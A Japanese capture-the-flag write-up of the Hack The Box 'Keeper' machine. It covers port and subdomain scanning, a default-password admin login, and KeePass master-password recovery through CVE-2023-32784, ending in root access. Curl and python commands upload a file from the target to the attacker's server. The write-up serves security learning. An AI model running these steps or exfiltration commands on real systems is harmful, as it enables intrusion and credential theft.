【Hack The Box】Keeper【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Keeper___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.201.50 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.201.50:22
Open 10.129.201.50:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-12 22:47 EDT
Initiating Ping Scan at 22:47
Scanning 10.129.201.50 [4 ports]
Completed Ping Scan at 22:47, 0.28s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:47
Completed Parallel DNS resolution of 1 host. at 22:47, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:47
Scanning 10.129.201.50 [2 ports]
Discovered open port 22/tcp on 10.129.201.50
Discovered open port 80/tcp on 10.129.201.50
Completed SYN Stealth Scan at 22:47, 0.29s elapsed (2 total ports)
Nmap scan report for 10.129.201.50
Host is up, received reset ttl 63 (0.27s latency).
Scanned at 2023-08-12 22:47:03 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
```
ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「keeper.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

# Collection
## ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
```bash
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   
```
以下を投入。
```bash
10.129.29.117    keeper.htb tickets.keeper.htb
```
疎通確認を行う。
```bash
┌──(root㉿kali)-[~]
└─# ping tickets.keeper.htb
```
実際にHTTPでアクセスすると`tickets.keeper.htb`にリダイレクトされる。

## サイト探索
 httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。
### Subdomain探索
以下サイトからサブドメインのリストをダウンロード

https://github.com/danielmiessler/SecLists

```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
```
`ffuf`で探索。
```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://tickets.keeper.htb/ -H "HOST: FUZZ.keeper.htb" -fs 149 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://tickets.keeper.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.keeper.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 149
________________________________________________

[Status: 200, Size: 4236, Words: 407, Lines: 154, Duration: 295ms]
    * FUZZ: tickets

:: Progress: [100000/100000] :: Job [1/1] :: 534 req/sec :: Duration: [0:03:21] :: Errors: 0 ::
```
何もなさそう。

### ブラウジング

ブラウザでアクセスすると、Best Practical Request Tracker（RT）のログイン画面が見える。
以下のデフォルトのPasswordを投入するとrootアカウントで管理画面に侵入することが出来た。

https://www.192-168-1-1-ip.co/router/bestpractical/rt/12338/

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5da27200-e2ca-b7f1-1b98-6839e6cb7dae.png)

更にブラウジングしていく。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/516f8ae3-2066-ff99-aa3c-d77aaa81a70a.png)
あー、CSRF対策のトークンでうるさい。。
頑張ってブラウジングしていると、「lnorgaard」のUserを発見する。
このUserを調査すると以下のコメントが記載されているページを発見した。

![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1ad1ee78-dcd4-a30e-6c46-8a2eb730c86f.png)

このPasswordでSSHしてみる。

![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a8921015-ae13-792f-e3a9-740688a6796d.png)

侵入成功しました。Userフラグゲットです。
え、簡単...

# Privilege Escalation
## Transfer
怪しいファイル`RT30000.zip`があるのでlocalに転送して解析したいと思います。
攻撃マシンにuploadserverを立てます。
```bash
┌──(root㉿kali)-[~/work]
└─# python -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```
攻略対象マシンで以下のコマンドを打ちます。
```bash
lnorgaard@keeper:~$ python3 -c "import requests;requests.post(\"http://10.10.14.68:8000/upload\",files={\"files\":open(\"/home/lnorgaard/RT30000.zip\",\"rb\")})"
```
上手いこと通らないので素直に`curl`します。
```bash
lnorgaard@keeper:~$ curl -X POST http://10.10.14.68:8000/upload -F 'files=@/home/lnorgaard/RT30000.zip'
```
```bash
┌──(root㉿kali)-[~/work]
└─# python -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.208.133 - - [14/Aug/2023 05:59:56] [Uploaded] "RT30000.zip" --> /root/work/RT30000.zip
10.129.208.133 - - [14/Aug/2023 05:59:56] "POST /upload HTTP/1.1" 204 -
```
きました。中身を確認すると、`KeePass`のダンプファイルとkdbxファイルがあります。
```bash
┌──(root㉿kali)-[~/work]
└─# ls -tla
total 335744
drwxr-xr-x  2 root root      4096 Aug 14 06:00 .
-rw-------  1 root root  87391651 Aug 14 05:59 RT30000.zip
-rwxr-x---  1 root root 253395188 May 24 06:51 KeePassDumpFull.dmp
-rwxr-x---  1 root root      3630 May 24 06:51 passcodes.kdbx
```

## KeePass
### CVE-2023-32784
このままjohnさんでKeePassのkdbxファイルを開くPasswordを総当たりしてもいいのですが、折角Dumpファイルがあるので別の手段があるかもしれません。ネットで検索すると、以下の記事が見つかりました。

https://forest.watch.impress.co.jp/docs/news/1505949.html

GithubでこのCVE-2023-32784を利用できるToolを探ると以下のリポジトリを発見！

https://github.com/vdohney/keepass-password-dumper

.NETのToolなのでWindows環境が何かと便利なのでそっちで解析します。
以下のようにVisual Studioでコンパイルします。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/443d5490-8032-ee1a-2f5c-afca1d4068cc.png)
実行！
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/bdfc986b-1218-4434-04e1-220b8d24ddc4.png)
ん？？？？読めないCharacterがあるってことかな？？？
じゃ、UTF-8、、、うまくいかない、、、、
ナニコレ、、、、

### Rødgrød
そういえばlnorgaardでRTにログインした際に変なラテン文字が見えたな...
という事でラテン文字の正規表現をコードに加えてコンパイルしてみる。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d8f44001-eff2-1b20-59ac-ea98f93dccad.png)
実行！
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/730ba7d8-91e2-123c-e604-e6e14163f54c.png)
出てきたけど、、、なんこれ、、、
まぁいいや、これでkdbxファイルを開いてみます。
、、、ダメだ。
意味わからん。検索しよう。。。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7fc42204-cff1-badf-ace3-7826a6f54242.png)
なんだこれは。

https://en.wikipedia.org/wiki/R%C3%B8dgr%C3%B8d

Wikiではデンマークの料理だと解説されている。「rødgrød med fløde」で入力してみる。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a98b9e98-3929-1997-e328-1935fa7d903e.png)
みえた！！！！
これはデンマーク人にはラッキー問題かもしれないな。

このPassでSSHしてみる。
だめだった。ならこのKeePassのNoteに記載されているPuTTYで入ってみる。
※Windows環境大活躍

### PuTTY
`PuTTY-User-Key-File-3: ssh-rsa`と書いてある部分をすべてコピーし、`ppk`ファイルで保存します。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/083d1a88-8f0d-5986-153e-69e7c371cafc.png)
秘密鍵にこの`ppk`ファイルを指定してログインします。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8773d2ae-f1ca-b3cf-2cdf-47102e1ad2d7.png)
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/36ef5470-be65-6964-cf52-a7e9c91ea7fc.png)

きた！！！root権限奪取！！！！

# まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b765d6ec-ad35-6208-f758-355ab9a6443a.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxは簡単といいつつ捻りのある問題でした。。。
こんなんデンマーク人じゃないとわからんて！

今回もセキュリティエンジニアの皆さんの助けになればなと思います。